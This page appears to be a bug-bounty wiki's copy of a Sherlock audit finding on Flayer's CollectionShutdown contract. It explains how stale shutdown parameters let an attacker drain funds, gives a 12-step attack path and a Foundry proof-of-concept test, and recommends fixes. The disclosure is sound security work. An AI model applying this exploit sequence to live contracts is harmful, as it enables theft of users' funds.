Skip to content
Business logic Audit finding Advanced

Stale shutdown params can be reused to drain all funds from `CollectionShutdown` contract

The CollectionShutdown contract fails to clear shutdown parameters after a collection is shut down, allowing an attacker to reuse stale data. By creating a new collection for the same ERC-721 contract and restarting the shutdown, the attacker can claim more funds than they are owed, draining the contract.

0xc0ffEE Follow with ZeroTrust and kuprum

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/173

Found by

0xc0ffEE, ZeroTrust, kuprum

Summary

When a collection is being shutdown via CollectionShutdown contract, the shutdown parameters are not properly cleaned up, and can be reused to mount an attack on the contract. In particular, a new collection can be created for the same ERC-721 contract, and then a shutdown may be started again via a particular sequence of calls: reclaimVote -> start. As CollectionShutdown indexes all internal datastructures and external operations via the address of the ERC-721 contract, this leads to mixing the outdated shutdown parameters with the parameters of the new collection (in particular the old and the new collection token). Moreover, as attacker's balance of the new collection token is now used instead of the old one, the attacker can claim (via voteAndClaim) much more than was received from the token sale of the old collection, thus draining all contract funds.

Root Cause

The execution logic of certain functions of CollectionShutdown is flawed; in particular:

  • Method reclaimVote can be called after the shutdown process started to execute;
  • Execution of method start is guarded by the precondition params.shutdownVotes == 0, which can be made true by the above function reclaimVote. Besides that, start leaves stale data in CollectionShutdownParams.

Internal pre-conditions

none

External pre-conditions

none

Attack Path

  1. The attacker creates a collection for some ERC-721 contract
  2. The attacker deposits an NFT, and receives 1 ether of collection token
  3. The attacker starts collection shutdown from address(1)
  4. Shutdown executed normally; some tokens are posted to Sudoswap for sale
  5. The attacker buys NFTs for 100 ether
  6. The attacker reclaims their vote, to enable starting the shutdown again
  7. The attacker creates a new collection for the same ERC-721 contract; a new collection token is created by Locker
  8. The attacker deposits an NFT, and receives 1 ether of the new collection token
  9. The attacker starts collection shutdown again from address(1); this redirects collection token to the new one in shutdown params
  10. The attacker deposits NFTs, and receives 11 ether of the new collection token to address(2)
  11. Attacker votes and claims, reusing stale, partially updated shutdown params
  12. There were 100 ether received from Sudoswap sale upon the first shutdown. As now the attacker claims with their balance of collectionToken2 == 11 ether, they receive 100 ether * 11 == 1100 ether, thus stealing 1000 ether.

Impact

All funds are drained from the CollectionShutdown contract.

PoC

Drop this test to CollectionShutdown.t.sol and execute with forge test --match-test test_ReuseShutdownParamsToStealFunds:

Solidity
function test_ReuseShutdownParamsToStealFunds() public {
    // Some initial balance of CollectionShutdown
    vm.deal(address(collectionShutdown), 1000 ether);

    // 1. The attacker creates a collection for some ERC-721 contract (done in the test setup)
    
    // 2. The attacker deposits an NFT, and receives 1 ether of collection token
    vm.startPrank(address(locker));
    collectionToken.mint(address(1), 1 ether);
    vm.stopPrank();

    // 3. The attacker starts collection shutdown from address(1)
    vm.startPrank(address(1));
    collectionToken.approve(address(collectionShutdown), 1 ether);
    collectionShutdown.start(address(erc721b));
    vm.stopPrank();

    // 4. Shutdown executed normally; some tokens are posted to Sudoswap for sale
    // Mint NFTs into our collection {Locker} and process the execution
    uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
    collectionShutdown.execute(address(erc721b), tokenIds);
    // Mock the process of the Sudoswap pool liquidating the NFTs for ETH. 
    
    // 5. The attacker buys NFTs for 100 ether
    _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 100 ether);
    
    // 6. The attacker reclaims their vote, to enable starting the shutdown again
    vm.startPrank(address(1));
    collectionShutdown.reclaimVote(address(erc721b));
    vm.stopPrank();

    // 7. The attacker creates a new collection for the same ERC-721
    locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
    // Initialize our collection, without inflating `totalSupply` of the {CollectionToken}
    locker.setInitialized(address(erc721b), true);
    // A new collection token is created by Locker
    ICollectionToken collectionToken2 = locker.collectionToken(address(erc721b));

    // 8. The attacker deposits an NFT, and receives 1 ether of the new collection token
    vm.startPrank(address(locker));
    collectionToken2.mint(address(1), 1 ether);
    vm.stopPrank();
    
    // 9. The attacker starts collection shutdown again from address(1)
    // This redirects collection token to the new one in shutdown params
    vm.startPrank(address(1));
    collectionToken2.approve(address(collectionShutdown), 1 ether);
    collectionShutdown.start(address(erc721b));
    vm.stopPrank();

    // 10. The attacker deposits NFTs, 
    // and receives 11 ether of the new collection token to address(2)
    vm.startPrank(address(locker));
    collectionToken2.mint(address(2), 11 ether);
    vm.stopPrank();

   // Get our start balances so that we can compare to closing balances from claim
    uint startBalanceAddress = payable(address(2)).balance;

    // 11. The attacker votes and claims, reusing stale, partially updated shutdown params
    vm.startPrank(address(2));
    collectionToken2.approve(address(collectionShutdown), 11 ether);
    collectionShutdown.voteAndClaim(address(erc721b));
    vm.stopPrank();

    // 12. There were 100 ether received from Sudoswap sale upon the first shutdown.
    // As now attacker claims with the balance of collectionToken2 == 11 ether,
    // they receive 100 ether * 11 == 1100 ether, thus stealing 1000 ether
    assertEq(payable(address(2)).balance - startBalanceAddress, 1100 ether);
}

Mitigation

  • Disallow calling reclaimVote at any point in time after the shutdown can be executed.
  • In start, properly clean up all CollectionShutdownParams.

Additionally, we recommend for the CollectionShutdown contract to index both internal datastructures and external functions not with the address of an ERC-721 contract, but with the address of a collection token contract. This will help to clearly differentiate between various reincarnations of the same ERC-721 contract as different collections / collection tokens, as well as to enable cleanly shutting down the collection even if some operations are still performed with the ERC-721 tokens.

The original report as published on Sherlock, by 0xc0ffEE. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

All funds are drained from the `CollectionShutdown` contract.

What the attacker needed

Attacker can create a collection; Attacker can deposit NFTs; Attacker can call shutdown functions

The fix

The contract should disallow calling `reclaimVote` after shutdown execution and properly clean up all `CollectionShutdownParams` in `start`.

How it was found

  1. The attacker creates a collection for some ERC-721 contract
  2. The attacker deposits an NFT, and receives 1 ether of collection token
  3. The attacker starts collection shutdown from address(1)
  4. Shutdown executed normally; some tokens are posted to Sudoswap for sale
  5. The attacker buys NFTs for 100 ether
  6. The attacker reclaims their vote, to enable starting the shutdown again

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a collection of NFTs is shut down, the contract that handles the shutdown keeps some old information. An attacker can trick the contract into using that old information again with a new collection, letting them take more money than they should. This is like reusing an old receipt to get a refund twice.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xc0ffEE

View all

27 more disclosed reports, best first.

More from Flayer

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.